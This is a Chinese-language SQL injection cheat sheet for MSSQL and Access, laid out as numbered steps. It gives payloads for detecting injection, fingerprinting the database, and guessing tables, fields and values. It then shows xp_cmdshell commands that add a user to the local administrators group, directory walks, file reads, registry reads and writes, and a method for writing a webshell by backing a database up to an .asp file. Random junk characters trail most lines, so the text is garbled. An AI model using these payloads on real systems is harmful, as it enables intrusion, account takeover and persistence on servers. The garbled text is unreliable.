1.判断是否有注入;and 1=1 ;and 1=2 p>kny?AJ
2.初步判断是否是mssql ;and user>0 ~CHcbEWk)W
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3.注入参数是字符'and [查询条件] and ''=' )X," NJG
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' U+#^>}wc
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5.判断数据库系统 4OLYB9HP_
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;and (select count(*) from sysobjects)>0 mssql lK/4"&
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;and (select count(*) from msysobjects)>0 access J zFR9DEt
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ?/1LueC:
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 r_ +!3
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 #g@4c3um|
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9.(1)猜字段的ascii值(access) <,it<$f#
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 _-H,S)kI`
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(2)猜字段的ascii值(mssql) =jh^mD&'
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10.测试权限结构(mssql) q)o;iR
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- BMQ4i&kF|
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 6Ad UlPM
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Pzd!"Gl9
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ">_|!B&wb^
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- O(-6Zqk8Q
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- jj;TS%
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;and 1=(select IS_MEMBER('db_owner'));-- "x.iD,>k
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11.添加mssql和系统的帐户 Avyer/{
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;exec master.dbo.sp_addlogin username;-- a%a0/!U[
;exec master.dbo.sp_password null,username,password;-- b;*'j9ly
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;exec master.dbo.sp_addsrvrolemember sysadmin username;--
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;exec master.dbo.xp_cmdshell 'net user username password vg3iT}
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ge%QbU1J
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- DzA'MX
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 3G 5xIr6
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12.(1)遍历目录 Ktt(l-e +
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;create table dirs(paths varchar(100), id int) J4j:nd
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;insert dirs exec master.dbo.xp_dirtree 'c:\' C|g1:#0
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;and (select top 1 paths from dirs)>0 0|K<$e6IH
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) E@)'Z6r1
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(2)遍历目录 H/ Ql
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- O[L#|_BnEO
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 HE_UHv
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 z0a`*3 -2
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 "Dq^r9
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 s S3RK
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13.mssql中的存储过程 9M 1DE
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xp_regenumvalues 注册表根键, 子键 .q:6F*,1M
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Q3$DX,8?
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xp_regread 根键,子键,键值名 v$JW7CKA
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 &w`Ho)P
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xp_regwrite 根键,子键, 值名, 值类型, 值 .V}bfd[k$
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 XhWo~zh"
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 y0?HZ Xq
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xp_regdeletevalue 根键,子键,值名 cH:&S=>h
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 'L9hM.+
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 +R;LHRS%
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14.mssql的backup创建webshell 8cMX=P
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use model MF*4E9Ue.
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create table cmd(str image); (n2_HePE
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insert into cmd(str) values (''); "H@I~X=
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backup database model to disk='c:\l.asp'; luac
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15.mssql内置函数 >\J<`
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;and (select @@version)>0 获得Windows的版本号 8I#^qr5
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa hcYqiM@8>
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;and (select user_name())>0 爆当前系统的连接用户 xb9^WvV
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;and (select db_name())>0 得到当前连接的数据库 lg ,%
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16.简洁的webshell U#w0 E G
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use model 0jxXUWO
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create table cmd(str image); 9PG{>W$M
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insert into cmd(str) values (''); "WXUz
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backup database model to disk='g:\wwwtest\l.asp';